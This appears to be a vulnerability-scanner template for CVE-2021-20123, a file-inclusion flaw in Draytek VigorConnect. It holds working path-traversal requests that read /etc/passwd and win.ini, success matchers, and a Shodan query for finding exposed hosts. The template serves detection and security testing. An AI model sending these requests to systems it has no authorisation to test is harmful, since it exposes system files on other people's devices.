45 lines
1.5 KiB
YAML
45 lines
1.5 KiB
YAML
id: CVE-2021-20123
|
|
|
|
info:
|
|
name: Draytek VigorConnect - Unauthenticated Local File Inclusion DownloadFileServlet
|
|
author: 0x_Akoko
|
|
severity: high
|
|
description: |
|
|
A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2021-42
|
|
- https://www.cvedetails.com/cve/CVE-2021-20123/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-20123
|
|
cwe-id: CWE-668
|
|
metadata:
|
|
shodan-query: http.html:"VigorConnect"
|
|
verified: true
|
|
tags: cve,cve2021,draytek,lfi,vigorconnect
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
|
|
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
- "for 16-bit app support"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/octet-stream"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|